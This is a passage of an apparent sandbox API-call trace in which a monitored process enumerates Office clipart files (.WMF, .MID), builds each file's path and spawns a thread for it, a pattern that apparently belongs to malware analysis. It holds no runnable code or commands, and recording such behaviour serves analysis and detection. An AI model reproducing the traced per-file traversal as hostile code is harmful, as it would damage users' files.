Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.941] wcscat (in: _Dest=0x1cf4bb60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.941] wcscat (in: _Dest=0x1cf4bb60, _Source="AN04195_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" [0090.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bb60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc54 [0090.941] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0090.941] wcscmp (_String1="AN04196_.WMF", _String2=".") returned 1 [0090.941] wcscmp (_String1="AN04196_.WMF", _String2="..") returned 1 [0090.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4bbf0 [0090.941] wcscpy (in: _Dest=0x1cf4bbf0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.941] wcscat (in: _Dest=0x1cf4bbf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.941] wcscat (in: _Dest=0x1cf4bbf0, _Source="AN04196_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" [0090.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc58 [0090.942] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0090.942] wcscmp (_String1="AN04206_.WMF", _String2=".") returned 1 [0090.942] wcscmp (_String1="AN04206_.WMF", _String2="..") returned 1 [0090.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4bc80 [0090.942] wcscpy (in: _Dest=0x1cf4bc80, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.942] wcscat (in: _Dest=0x1cf4bc80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.942] wcscat (in: _Dest=0x1cf4bc80, _Source="AN04206_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" [0090.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bc80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc5c [0090.943] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0090.943] wcscmp (_String1="AN04225_.WMF", _String2=".") returned 1 [0090.943] wcscmp (_String1="AN04225_.WMF", _String2="..") returned 1 [0090.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4bd10 [0090.943] wcscpy (in: _Dest=0x1cf4bd10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.943] wcscat (in: _Dest=0x1cf4bd10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.943] wcscat (in: _Dest=0x1cf4bd10, _Source="AN04225_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" [0090.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bd10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc60 [0090.945] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0090.945] wcscmp (_String1="AN04235_.WMF", _String2=".") returned 1 [0090.945] wcscmp (_String1="AN04235_.WMF", _String2="..") returned 1 [0090.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4bda0 [0090.945] wcscpy (in: _Dest=0x1cf4bda0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.945] wcscat (in: _Dest=0x1cf4bda0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.945] wcscat (in: _Dest=0x1cf4bda0, _Source="AN04235_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" [0090.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bda0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc64 [0090.946] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0090.946] wcscmp (_String1="AN04267_.WMF", _String2=".") returned 1 [0090.946] wcscmp (_String1="AN04267_.WMF", _String2="..") returned 1 [0090.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4be30 [0090.946] wcscpy (in: _Dest=0x1cf4be30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.946] wcscat (in: _Dest=0x1cf4be30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.946] wcscat (in: _Dest=0x1cf4be30, _Source="AN04267_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" [0090.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4be30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc68 [0090.947] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0090.947] wcscmp (_String1="AN04269_.WMF", _String2=".") returned 1 [0090.947] wcscmp (_String1="AN04269_.WMF", _String2="..") returned 1 [0090.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4bec0 [0090.947] wcscpy (in: _Dest=0x1cf4bec0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.947] wcscat (in: _Dest=0x1cf4bec0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.947] wcscat (in: _Dest=0x1cf4bec0, _Source="AN04269_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" [0090.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc6c [0090.948] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0090.948] wcscmp (_String1="AN04323_.WMF", _String2=".") returned 1 [0090.948] wcscmp (_String1="AN04323_.WMF", _String2="..") returned 1 [0090.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4bf50 [0090.948] wcscpy (in: _Dest=0x1cf4bf50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.948] wcscat (in: _Dest=0x1cf4bf50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.948] wcscat (in: _Dest=0x1cf4bf50, _Source="AN04323_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" [0090.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bf50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc70 [0090.949] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0090.949] wcscmp (_String1="AN04326_.WMF", _String2=".") returned 1 [0090.949] wcscmp (_String1="AN04326_.WMF", _String2="..") returned 1 [0090.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4bfe0 [0090.949] wcscpy (in: _Dest=0x1cf4bfe0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.949] wcscat (in: _Dest=0x1cf4bfe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.949] wcscat (in: _Dest=0x1cf4bfe0, _Source="AN04326_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" [0090.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bfe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc74 [0090.950] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0090.950] wcscmp (_String1="AN04332_.WMF", _String2=".") returned 1 [0090.950] wcscmp (_String1="AN04332_.WMF", _String2="..") returned 1 [0090.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c070 [0090.950] wcscpy (in: _Dest=0x1cf4c070, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.950] wcscat (in: _Dest=0x1cf4c070, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.950] wcscat (in: _Dest=0x1cf4c070, _Source="AN04332_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" [0090.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc78 [0090.951] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0090.951] wcscmp (_String1="AN04355_.WMF", _String2=".") returned 1 [0090.951] wcscmp (_String1="AN04355_.WMF", _String2="..") returned 1 [0090.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c100 [0090.951] wcscpy (in: _Dest=0x1cf4c100, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.951] wcscat (in: _Dest=0x1cf4c100, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.951] wcscat (in: _Dest=0x1cf4c100, _Source="AN04355_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" [0090.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc7c [0090.952] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0090.952] wcscmp (_String1="AN04369_.WMF", _String2=".") returned 1 [0090.952] wcscmp (_String1="AN04369_.WMF", _String2="..") returned 1 [0090.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c190 [0090.952] wcscpy (in: _Dest=0x1cf4c190, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.952] wcscat (in: _Dest=0x1cf4c190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.952] wcscat (in: _Dest=0x1cf4c190, _Source="AN04369_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" [0090.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc80 [0090.953] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0090.953] wcscmp (_String1="AN04384_.WMF", _String2=".") returned 1 [0090.953] wcscmp (_String1="AN04384_.WMF", _String2="..") returned 1 [0090.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c220 [0090.953] wcscpy (in: _Dest=0x1cf4c220, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.953] wcscat (in: _Dest=0x1cf4c220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.954] wcscat (in: _Dest=0x1cf4c220, _Source="AN04384_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" [0090.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc84 [0090.954] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0090.954] wcscmp (_String1="AN04385_.WMF", _String2=".") returned 1 [0090.954] wcscmp (_String1="AN04385_.WMF", _String2="..") returned 1 [0090.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c2b0 [0090.955] wcscpy (in: _Dest=0x1cf4c2b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.955] wcscat (in: _Dest=0x1cf4c2b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.955] wcscat (in: _Dest=0x1cf4c2b0, _Source="AN04385_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" [0090.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc88 [0090.956] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0090.956] wcscmp (_String1="BABY_01.MID", _String2=".") returned 1 [0090.956] wcscmp (_String1="BABY_01.MID", _String2="..") returned 1 [0090.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4c340 [0090.956] wcscpy (in: _Dest=0x1cf4c340, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.956] wcscat (in: _Dest=0x1cf4c340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.956] wcscat (in: _Dest=0x1cf4c340, _Source="BABY_01.MID" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" [0090.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc8c [0090.957] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0090.957] wcscmp (_String1="BD00116_.WMF", _String2=".") returned 1 [0090.957] wcscmp (_String1="BD00116_.WMF", _String2="..") returned 1 [0090.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c3d0 [0090.957] wcscpy (in: _Dest=0x1cf4c3d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.957] wcscat (in: _Dest=0x1cf4c3d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.957] wcscat (in: _Dest=0x1cf4c3d0, _Source="BD00116_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" [0090.957] CreateThread (in: 